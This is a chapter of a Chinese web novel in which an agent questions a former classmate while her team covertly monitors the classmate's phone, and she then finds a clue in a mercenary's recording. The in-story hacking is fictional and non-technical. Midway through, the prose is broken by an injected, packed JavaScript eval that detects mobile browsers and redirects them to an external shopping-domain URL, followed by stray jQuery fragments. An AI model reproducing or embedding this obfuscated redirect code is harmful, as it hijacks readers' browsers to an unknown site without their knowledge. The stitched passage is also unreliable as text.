卫铃摘下黑色的毛毡帽子,千鸟格的羊羔绒外套,为她退去学生时代的青涩。

    坐在她对面的虞颂心,大衣的纽扣是微型摄像机和收音器。

    婚宴当晚,卫铃提前离席,去向不明。在虞颂心遭遇挟持期间,她突然在办公大楼的对角线街口出现,乘坐公交车回家。

    卖美术用品的文具店鲜少,只有美术生会买昂贵的炭笔使用。

    结合办公大楼内的可疑划痕、炭笔写的纸条,以及玻璃罐里的高级怪物的舌头,卫铃那晚的行为轨迹更加可疑。

    但挟持事件的当晚深夜,卫铃给虞颂心发信息问她回到家没,注意安全。

    虞颂心希望摆脱卫铃的嫌疑。

    毕竟她是大学时期,虞颂心鲜少聊得来的同学。

    “婚宴那晚有特警被挟持,你上卫生间很久没回座位,你的男朋友找你找得很急,那晚你没事吧?”卫铃仔细端详,发现虞颂心的脸瘦了。

    “男朋友……”她想起是指大冰山,极力抹平疑问的语气,讪笑说:“那晚被挟持的就是我。”

    她给卫铃说个大概,隐去“男朋友”单枪匹马营救特警的桥段。

    作为把心事写在脸上的直球文艺女青年,虞颂心自知不适合做试探的工作,不如搞阳谋,告诉卫铃当晚的惊险。

    卫铃听了,提着的一口气久久不能放下。

    而监听的通讯员梅菲菲听到“男朋友”,一边吸食营养剂,一边问:“颂心有男朋友了?没听她说过。”

    旁边的傅庭月淡定地吸食营养剂。

    梅菲菲眼眸一转,问他:“傅长官,那晚你独自营救,你是从哪里去办公大楼的?”

    刘乐明也好奇。

    傅庭月气定神闲:“那晚陪阿心去婚宴的男朋友就是我。”

    梅菲菲:“噗——”

    刘乐明:⊙_⊙

    梅菲菲咳嗽好几口,刘乐明有默契地递保温杯。

    傅庭月继续吸食营养剂。

    “你、你是任务男朋友还是真的男朋友?”梅菲菲再三确认。

    “就快是真的了。”

    梅菲菲:“我的天啊……”

    哈哈,她磕的cp要成真了!颂心拿下指挥官,牛逼!

    刘乐明和其他技术人员:这是他们能听的吗?

    傅庭月不乐意提早公开,严肃地提醒认真监听。大家收敛嬉笑,专心工作。

    餐馆里,虞颂心正面红耳赤地应对卫铃的提醒。

    “你的男朋友当时很紧张,能看出他很喜欢你,你们结婚的时候记得请我哦。”卫铃抿嘴偷笑。

    虞颂心手足无措地挠脸:“哪有这么快,他、他顾着工作,还没想这些哈。”

    梅菲菲他们默默地关注指挥官的表情。

    傅庭月只是挑一下眉。

    卫铃却有不同的看法:“年轻人热爱工作是对的,比我同事的男朋友好。她交的男朋友工作不错,两人存储的积分能在二环区租中档的房子。但是她的男朋友爱玩,每个月花一半积分去钓鱼,现在还没有结婚的着落呢,愁死我的同事。”

    “他不爱玩,做什么都超认真的。”她的夸赞脱口而出。

    卫铃笑了:“看来你也很喜欢他呀。”

    梅菲菲窥见微扬嘴角的指挥官,仿佛打了一场胜仗。

    这是男人之间的优越感吗?

    虞颂心连耳朵也烫烫的,恨不得马上喊卫铃别说了,她的“男朋友”正在听着,让他以为她想结婚还得了!

    她还没答应他的追求呢!

    “咳,我才21岁,是努力工作的黄金年龄,谈这些太早了。”虞颂心模棱两可,努力地转移话题:“经过那一晚,治安变得不太好,你自己住,要小心点。”

    卫铃成功被她带偏:“我会的。虽然罪犯被捕,但你也要小心,谁知道他们有没有同党,会不会报复?”

    虞颂心大喜,顺着她的话继续透露:“他们想得美。同党被我们一锅端了,还弄出违禁品吓唬我们,太讨厌了。”

    “什么违禁品?”

    她神秘兮兮地压低声线,含糊其辞:“就是很恐怖的东西,不能说,说了会引起恐慌。”

    卫铃一愣,若有所思。

    “别担心,模型而已,假的。”

    上菜了,虞颂心一如既往地风卷残云,三分之二的肉类进她的肚子。

    卫铃叮嘱:“你要吃些蔬菜,保持营养均衡。看,你的脸比婚宴时瘦了。”

    “真的吗?”虞颂心抬手想摸脸,不小心打翻桌面的终端,使终端翻滚的时候碰到卫铃的终端。

    她急忙拿起自己的终端:“对不起!你的终端有没有坏?”

    “没事,结实得很。”

    虞颂心笑了笑,看着屏幕探出的连接邀请信息,按“确定”。

    一顿晚餐结束,卫铃提议去逛商场。

    虞颂心借口说要回内城开会,溜了。她溜到街道的转角后面,钻进一辆白色的面包车。

    “怎么样,成功黑进她的手机了吗?”她一关车门就问。

    梅菲菲勾起嘴角:“最新研发的监控APP,哪有不成功的道理。看,我们能监视她的终端操作了。”

    虞颂心凝视他们的笔记本电脑,迟疑数秒,才探头去看。

    此时,卫铃的通讯软件冒出群聊的新信息,有大学美术班群的,陈悦婷在炫耀和老公共进烛光晚餐。也有公司的群聊,有同事和领导发给她的信息。

    卫铃的每一条回复都呈现屏幕上,却没有呈现她给可疑的群组或好友发信息、打电话,甚至她每条回复的内容不觉有异。

    虞颂心松一口气:“证明她没问题吧?”

    傅庭月晓得她不想怀疑自己的同学,但公事公办,实话实说:“要监控一段时间才能确定,而且我们不知道她有没有第二部终端。”

    她耷拉脑袋,又悬起心来。

    直到晚上八点多,卫铃操作终端的轨迹始终合理。

    梅菲菲和刘乐明轮流监视,顺道调查卫铃的人际关系网。

    虞颂心呆在独立办公室,反复听傅淮风上传的录音。

    录音来自病逝雇佣兵的前队员。

    “……我记得那是我们的最后一次任务,去了B级污染区。那时……我们遇到一窝变异的狗,算是狗吧保留狗头的特征,还有几只狗宝宝,它们追杀我们然后中了我们布置的陷阱。后来我们遇到……

    “记不清了,奎明落下了,我依稀记得有一声惨叫,我们以为他死了,打算先回基地,没想到他负伤赶上我们,他说他打死了偷袭的怪物,和我们一起回基地。任务结束以后,他退出队伍不再干猎杀的行当,之后很少联系……”

    她皱眉听完,重新播放一遍。

    “……那是我们的最后一次任务……”

    听完再重新播放。

    这一次,她停在“我们遇到……”这一段的停顿中,扩大音量。

    滋滋滋……

    “它……”

    录音环境的杂音快要掩盖不易察觉的音节。

    一只大手伸过来,盖住办公桌面的小音箱。

    体温传递到虞颂心的耳朵,暖暖的,她疑惑地抬头,对上大冰山困惑又严肃的表情。

    “不要耳朵了?”傅庭月一进来就看见她的耳朵贴近小音箱,无奈地板着脸,希望她不要过于忘我。

    虞颂心却眉飞色舞,无视他的脸色:“录音有线索!我倒回去给你听一下,你要仔细听。”

    傅庭月还没开口,她急吼吼地倒退进度条,然后播放。

    “后来我们遇到……它……”

    他神色一动。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713557|205907||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你听见了吗?有东西藏在污染区,袭击雇佣兵。陈奎明落下的时候一定发生什么事,回来的可能不是陈奎明了。”

    傅庭月注视炯炯有神的她:“军事基地总部珍藏着灾难之初的战斗和研究资料。那时的高级怪物,拥有寄生人类体内的能力——复制宿主的DNA,取代宿主。不过那时它们伪装得不好,一激动就容易露出畸变的器官,让人识破。”

    虞颂心骇然:“一百年后,人类进化,怪物也进化,它们能好好地伪装人类了。”

    “所以特警和军人上岗前,要接受严格的体检,其中包括DNA的检验和全身核磁共振检查,确保上岗的是人类。”

    “雇佣兵呢?”

    傅庭月沉吟:“从污染区回来的雇佣兵,必须接受精神阈值检查、通过血液检验DNA,也要做核磁共振。但受伤的雇佣兵不能做核磁共振,改做X射线的放射检查,至今还没出现异常的体检报告。”

    虞颂心苦恼地搔头发:“一定有某个检查环节出现漏洞,被高级怪物钻漏洞……啊!我今晚不用加班吧?我现在回家!”

    看着她匆忙收拾斜挎包,傅庭月无奈又无语:“你已经加班三个小时。我送你回家。”

    “我自己回去就行了,你要坐镇专案组。”她低头收拾,目光闪躲。

    说是收拾,实际上她把画具扫进斜挎包,包里乱糟糟,害傅庭月艰难地闭眼,忍住帮她全部倒出来重新收拾的冲动。

    “虞颂心。”

    “干嘛?”

    “我送你回去。”

    “都说不用了。”

    “我送你回去或者帮你重新收拾你的包,二选一。”

    “……”

    她听出大冰山的语气又冷又硬,很不友好,抱紧斜挎包说:“你送我吧。”

    现在是生理期,包里有生理用品,她不会再干私人物品丢在他面前的蠢事。

    傅庭月勉强舒一口气,关机关灯。

    关机?

    虞颂心:“你不回来了吗?”

    他瞪没心没肺的女孩:“欲速则不达,每条线索都中断,白白熬夜通宵也抓不到它们。”

    “哦,你也想下班。”

    “虞颂心。”

    “到。”

    他忍住不生气:“你说得不对,你要往我想和你一起回去的方面思考。”

    虞颂心恍然大悟,一本正经地摸下巴:“原来是这样。”

    傅庭月:“……”

    网上说一起上下班的美好日子,在他们身上不会有的。

    他不想说话了,直接拿走她的斜挎包背着,走出独立办公室。

    虞颂心赶紧跟上。

    车子驶到她的楼下,傅庭月刚道晚安,她就匆匆打开车门,“晚安”说了半句就冲下车。

    又焦急又心虚,她是找到不能见光的线索了。

    傅庭月笑了笑,开车离去。

    回到家,虞颂心把斜挎包丢去餐椅,跑进房间开电脑。

    “虞颂心!我说了多少遍回来要放好你的包!”

    她把老爸的说教抛去脑后,打开雇佣兵论坛。接着,她拉开抽屉找以前的画本。

    找到了!

    三年前的画本某一页,画着一名雇佣兵受击的预知场面。

    她找到雇主的私信对话框。

    两人的对话停留在三年前,交易结束就没有下文。

    对方的登录时间也停在三年前,除非隐身登录。

    这是她第一次预知到别人的死亡场面,记忆犹新,只是那时她还没毕业,要小心保密预知异能,只画出对方受击的画面,叮嘱对方小心,后来没有找雇主证实是不是遇害。

    她想了想,给对方发去一句话。

    【煎饺王】:女士,你没忘记反馈的规矩吧?有没有灵验?